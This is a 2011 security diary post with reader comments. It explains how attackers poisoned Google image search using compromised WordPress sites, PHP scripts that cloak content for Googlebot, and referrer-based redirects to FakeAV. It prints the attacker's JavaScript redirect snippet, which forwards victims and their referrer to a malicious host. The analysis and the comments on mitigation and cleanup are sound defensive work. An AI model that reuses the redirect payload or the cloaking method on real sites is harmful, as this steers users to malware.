More on Google image poisoning
For last couple of weeks we received quite a bit of reports of images on Google leading to (usually) FakeAV web sites.
Google is doing a relatively good job removing (or at least marking) links leading to malware in normal searches, however, Google’s image search seem to be plagued with malicious links. So how do they do this?
The activities behind the scenes to poison Google’s image search are actually (and unfortunately) relatively simple. The steps in a typical campaign are very similar to those I described in two previous diaries (Down the RogueAV and Blackhat SEO rabbit hole – part 1 at http://isc.sans.edu/diary.html?storyid=9085 and part 2 at http://isc.sans.edu/diary.html?storyid=9103). This is what the attackers do:
- The attackers compromise a number of legitimate web sites. I have noticed that they usually attack Wordpress installations, but any widely spread software that has known vulnerabilities can be exploited.
- Once the source (legitimate) web sites have been exploited, the attackers plant their PHP scripts, similar to those I described in previously mentioned diaries. These scripts vary from simple to very advanced scripts that can automatically monitor Google trend queries and create artificial web pages containing information that is currently interested. That is actually how they generate new content – if you ever wondered how they had those web sites about Bin Laden up quickly it is because they automatically monitor the latest query trends and generate web pages with artificial content.
These web sites contain not only text, but also images that are acquired from various web sites. Again, their scripts use various search engines to locate these pictures (I will probably post a diary about this soon too). They embed links to pictures which are really related to the topic so the automatically generated web page contains real looking content.
- Google now crawls through these web sites. The scripts that the attackers put will detect Google’s bots (either by their IP address or the User Agent) and will deliver special pages back containing automatically generated content. Google will also parse links to images and, if appropriate, populate the image search database.
- Now, when a user searches for something through the Google image search function, thumbnails of pictures are displayed. Depending on the automatically generated content in step 3), number of links to the web page and other parameters known to Google, the attacker’s page will be shown at a certain position in the results web page. The exploit happens when a user clicks on the thumbnail.
Google now shows a special page that shows the thumbnail in the center of the page, links to the original image (no matter where it is located) on the right and the original web site (the one that contained the image) in the background. This is where the “vulnerability” is. Google displays this in a simple iframe:
<iframe scrolling=auto id=rf src="http://REMOVED" frameborder=0 allowtransparency=true style="width:100%;height:100%">
The user’s browser will automatically send a request to the bad page which runs the attacker’s script (the one set in step 1). This script checks that the request’s referrer field and if it contains Google (meaning this was a click on the results page in Google), the script displays a small JavaScript script:
<script>var url = "http://REMOVED/in.cgi?2&seoref="+encodeURIComponent(document.referrer)+"¶meter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword=default";
if (window!=top) {top.location.href = url;} else document.location= url;
</script>
This causes the browser to be redirected to another site that is serving FakeAV.
As we can see, the whole story behind this is relatively simple (for the attackers). There is a number of things to do here to protect against this attack, depending if we are looking at servers or clients. For a standard user, the best protection (besides not clicking on images is to install a Mozilla Firefox addon such as NoScript. Google could step up a bit as well, especially since this has been going on for more than a month already and there are numerous complaints on Google’s forums about this. Since there are so many poisoned images they could maybe modify the screen that displays the results so it does not include the iframe – that will help in first step only, since if the user lands on the malicious web page there is nothing Google can do really.
--
Bojan
INFIGO IS
Web App Penetration Testing and Ethical Hacking | Amsterdam | Mar 31st - Apr 5th 2025 |
Comments
I guess they are as backlogged with Work as everyone else.
mrclarke
May 4th 2011
1 decade ago
> protect against this attack
I strip the Google referrer HTTP header on the proxy. After this almost all my FakeAV detections vanished.
I have the following rules on my 'outgoing header field section' on my proxy:
Action Strip: 'Referer:*google.*'
Placebo
May 4th 2011
1 decade ago
rand0m
May 4th 2011
1 decade ago
But unless something nastier piggybacks on these things, they're rarely difficult to remove (especially when the user is not a local admin). If we see a flavor showing up on multiple computers, I'll grab a sample and infect a VM to make sure I didn't miss any of the mess. Then I'll publish a cleanup procedure for the help desk.
The biggest frustration I have is how often our AV misses these. I sent the executable from the last one we dealt with over their submission page. I even included a detailed description of what it does. All I got was a form letter stating that automated analysis turned up nothing malicious!
sb
May 4th 2011
1 decade ago
This causes the browser to be redirected to another site that is serving FakeAV.
[...]
With US ip on windows redirected to another site that is serving FakeAV (BestAntivirus2011.exe)
With US ip on MAC OSX redirected to another site that is serving FakeAV MAC Defender (BestMacAntivirus2011.mpkg.zip)
With Italian ip on windows redirected to Blackhole exploit kit
GmG
May 4th 2011
1 decade ago
Heman
May 4th 2011
1 decade ago
David
May 4th 2011
1 decade ago
I've had good luck doing one of the following:
1. Log that user off and then remove the files.
2. Kill the FakeAV task (I always do this remotely), and then remove the files.
Sometimes these things try to download many other modules and other malware as well, so watch out for that.
Shawn
May 4th 2011
1 decade ago
Everyone, thanks for great comments, keep them coming :)
Bojan
May 4th 2011
1 decade ago
Pevensey
May 5th 2011
1 decade ago